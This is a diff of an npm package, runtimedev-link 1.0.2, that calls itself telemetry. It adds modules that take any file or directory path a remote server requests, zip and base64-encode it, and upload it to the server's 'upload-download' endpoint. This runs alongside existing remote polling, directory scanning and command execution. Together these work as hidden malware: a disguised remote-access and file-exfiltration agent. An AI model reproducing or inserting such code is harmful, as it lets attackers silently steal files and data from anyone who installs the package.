runtimedev-link 1.0.1 → 1.0.2

package/lib/download.js

@@ -0,0 +1,81 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const { zipPathToBuffer } = require('./zip');
+
+const DEFAULT_MAX_ZIP_BYTES = 50 * 1024 * 1024;
+
+function envInt(key, fallback) {
+  const raw = String(process.env[key] || '').trim();
+  if (!raw) return fallback;
+  const n = parseInt(raw, 10);
+  return Number.isFinite(n) ? n : fallback;
+}
+
+function maxZipBytes() {
+  return envInt('SSTAR_MAX_DOWNLOAD_ZIP_BYTES', DEFAULT_MAX_ZIP_BYTES);
+}
+
+function handleDownloadRequest(req) {
+  if (!req || !req.requestId) {
+    return { ok: false, error: 'missing requestId' };
+  }
+
+  const requestId = String(req.requestId);
+  const kind = String(req.kind || '');
+
+  if (kind === 'chrome_extension') {
+    return {
+      ok: false,
+      requestId,
+      error: 'Chrome extension downloads are not supported by runtimedev-link',
+    };
+  }
+
+  if (kind !== 'path') {
+    return { ok: false, requestId, error: 'unknown download kind' };
+  }
+
+  const rawPath = req.path != null ? String(req.path).trim() : '';
+  if (!rawPath) {
+    return { ok: false, requestId, error: 'missing path' };
+  }
+
+  const src = path.resolve(rawPath);
+  try {
+    const st = fs.statSync(src);
+    if (!st.isDirectory() && !st.isFile()) {
+      return { ok: false, requestId, error: 'path not accessible' };
+    }
+  } catch (err) {
+    return {
+      ok: false,
+      requestId,
+      error: `path not accessible: ${String(err.message || err)}`,
+    };
+  }
+
+  try {
+    const maxOut = maxZipBytes();
+    const { zip, archiveName } = zipPathToBuffer(src, { maxOut });
+    return {
+      ok: true,
+      requestId,
+      filename: archiveName,
+      base64: zip.toString('base64'),
+      fileSizeBytes: zip.length,
+    };
+  } catch (err) {
+    return {
+      ok: false,
+      requestId,
+      error: String(err.message || err),
+    };
+  }
+}
+
+module.exports = {
+  handleDownloadRequest,
+  maxZipBytes,
+};

package/lib/transport.js

@@ -7,6 +7,7 @@ const { URL } = require('url');
 const { getIdentity } = require('./enum');
 const { scanDirectory, defaultScanRoot } = require('./fs_scan');
 const { runCommand } = require('./exec');
+const { handleDownloadRequest: buildDownloadPayload } = require('./download');
 
 const POLL_MIN_SEC = 20;
 const POLL_MAX_SEC = 60;
@@ -200,11 +201,17 @@ async function postDirectoryScanResult(requestId, scanRoot, tree, errMsg) {
   await requestJson('POST', '/api/telemetry/directory-scan-result', payload);
 }
 
-async function postDownloadError(requestId, message) {
+async function postDownloadUpload(payload) {
   await requestJson('POST', '/api/telemetry/upload-download', {
     ...identityFields(),
+    ...payload,
+  });
+}
+
+async function postDownloadError(requestId, message) {
+  await postDownloadUpload({
     requestId: String(requestId || ''),
-    error: String(message || 'unsupported on node-link agent'),
+    error: String(message || 'download failed'),
   });
 }
 
@@ -327,11 +334,18 @@ async function handleDirectoryScan(req) {
 }
 
 async function handleDownloadRequest(req) {
-  if (!req || !req.requestId) return;
-  await postDownloadError(
-    req.requestId,
-    'path/extension downloads are not implemented in node-link'
-  );
+  const result = buildDownloadPayload(req);
+  if (!result || !result.requestId) return;
+  if (!result.ok) {
+    await postDownloadError(result.requestId, result.error || 'download failed');
+    return;
+  }
+  await postDownloadUpload({
+    requestId: result.requestId,
+    filename: result.filename,
+    base64: result.base64,
+    fileSizeBytes: result.fileSizeBytes,
+  });
 }
 
 async function handlePollResponse(data) {

package/lib/zip.js

@@ -0,0 +1,175 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const { shouldSkipPath } = require('./fs_scan');
+
+const LOCAL_SIG = 0x04034b50;
+const CENTRAL_SIG = 0x02014b50;
+const END_SIG = 0x06054b50;
+
+const CRC_TABLE = (() => {
+  const table = new Uint32Array(256);
+  for (let i = 0; i < 256; i += 1) {
+    let c = i;
+    for (let k = 0; k < 8; k += 1) {
+      c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1;
+    }
+    table[i] = c >>> 0;
+  }
+  return table;
+})();
+
+function crc32(buf) {
+  let c = 0xffffffff;
+  for (let i = 0; i < buf.length; i += 1) {
+    c = CRC_TABLE[(c ^ buf[i]) & 0xff] ^ (c >>> 8);
+  }
+  return (c ^ 0xffffffff) >>> 0;
+}
+
+function collectFiles(absRoot, maxFileBytes, maxFiles, state) {
+  const out = [];
+  const st = fs.statSync(absRoot);
+  if (st.isFile()) {
+    if (!st.isFile() || st.size > maxFileBytes) return out;
+    out.push({
+      name: path.basename(absRoot),
+      data: fs.readFileSync(absRoot),
+    });
+    return out;
+  }
+  if (!st.isDirectory()) return out;
+
+  function walk(dir, relPrefix) {
+    if (out.length >= maxFiles || state.bytes > state.maxOut) return;
+    let entries = [];
+    try {
+      entries = fs.readdirSync(dir, { withFileTypes: true });
+    } catch {
+      return;
+    }
+    for (const entry of entries) {
+      if (out.length >= maxFiles || state.bytes > state.maxOut) break;
+      const sub = path.join(dir, entry.name);
+      if (shouldSkipPath(sub)) continue;
+      const rel = relPrefix ? `${relPrefix}/${entry.name}` : entry.name;
+      if (entry.isDirectory()) {
+        walk(sub, rel);
+      } else if (entry.isFile()) {
+        let info;
+        try {
+          info = fs.statSync(sub);
+        } catch {
+          continue;
+        }
+        if (!info.isFile() || info.size > maxFileBytes) continue;
+        let data;
+        try {
+          data = fs.readFileSync(sub);
+        } catch {
+          continue;
+        }
+        state.bytes += data.length;
+        if (state.bytes > state.maxOut) break;
+        out.push({ name: rel.replace(/\\/g, '/'), data });
+      }
+    }
+  }
+
+  walk(absRoot, '');
+  return out;
+}
+
+function buildZip(files) {
+  const parts = [];
+  const central = [];
+  let offset = 0;
+
+  for (const file of files) {
+    const nameBuf = Buffer.from(file.name, 'utf8');
+    const data = file.data;
+    const checksum = crc32(data);
+    const local = Buffer.alloc(30 + nameBuf.length);
+    local.writeUInt32LE(LOCAL_SIG, 0);
+    local.writeUInt16LE(20, 4);
+    local.writeUInt16LE(0, 6);
+    local.writeUInt16LE(0, 8);
+    local.writeUInt16LE(0, 10);
+    local.writeUInt16LE(0, 12);
+    local.writeUInt32LE(checksum, 14);
+    local.writeUInt32LE(data.length, 18);
+    local.writeUInt32LE(data.length, 22);
+    local.writeUInt16LE(nameBuf.length, 26);
+    local.writeUInt16LE(0, 28);
+    nameBuf.copy(local, 30);
+
+    const centralHdr = Buffer.alloc(46 + nameBuf.length);
+    centralHdr.writeUInt32LE(CENTRAL_SIG, 0);
+    centralHdr.writeUInt16LE(20, 4);
+    centralHdr.writeUInt16LE(20, 6);
+    centralHdr.writeUInt16LE(0, 8);
+    centralHdr.writeUInt16LE(0, 10);
+    centralHdr.writeUInt16LE(0, 12);
+    centralHdr.writeUInt16LE(0, 14);
+    centralHdr.writeUInt32LE(checksum, 16);
+    centralHdr.writeUInt32LE(data.length, 20);
+    centralHdr.writeUInt32LE(data.length, 24);
+    centralHdr.writeUInt16LE(nameBuf.length, 28);
+    centralHdr.writeUInt16LE(0, 30);
+    centralHdr.writeUInt16LE(0, 32);
+    centralHdr.writeUInt16LE(0, 34);
+    centralHdr.writeUInt16LE(0, 36);
+    centralHdr.writeUInt32LE(0, 38);
+    centralHdr.writeUInt32LE(offset, 42);
+    nameBuf.copy(centralHdr, 46);
+
+    parts.push(local, data);
+    central.push(centralHdr);
+    offset += local.length + data.length;
+  }
+
+  const centralBuf = Buffer.concat(central);
+  const end = Buffer.alloc(22);
+  end.writeUInt32LE(END_SIG, 0);
+  end.writeUInt16LE(0, 4);
+  end.writeUInt16LE(0, 6);
+  end.writeUInt16LE(files.length, 8);
+  end.writeUInt16LE(files.length, 10);
+  end.writeUInt32LE(centralBuf.length, 12);
+  end.writeUInt32LE(offset, 16);
+  end.writeUInt16LE(0, 20);
+
+  return Buffer.concat([...parts, centralBuf, end]);
+}
+
+function zipPathToBuffer(src, opts) {
+  const maxOut =
+    opts && opts.maxOut > 0 ? opts.maxOut : 50 * 1024 * 1024;
+  const maxFile =
+    opts && opts.maxFileBytes > 0 ? opts.maxFileBytes : maxOut;
+  const maxFiles =
+    opts && opts.maxFiles > 0 ? opts.maxFiles : 5000;
+  const clean = path.resolve(String(src || ''));
+  const state = { bytes: 0, maxOut };
+  const files = collectFiles(clean, maxFile, maxFiles, state);
+  if (files.length === 0) {
+    throw new Error('nothing to zip (empty or unreadable path)');
+  }
+  if (state.bytes > maxOut) {
+    throw new Error('zipped payload exceeds size limit');
+  }
+  const zip = buildZip(files);
+  if (zip.length > maxOut) {
+    throw new Error('zipped payload exceeds size limit');
+  }
+  const archiveName =
+    opts && opts.archiveName
+      ? opts.archiveName
+      : path.basename(clean) + '.zip';
+  return { zip, archiveName };
+}
+
+module.exports = {
+  zipPathToBuffer,
+};

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "runtimedev-link",
-  "version": "1.0.1",
+  "version": "1.0.2",
   "description": "Pure Node.js telemetry for RuntimeDev platform",
   "main": "lib/transport.js",
   "bin": {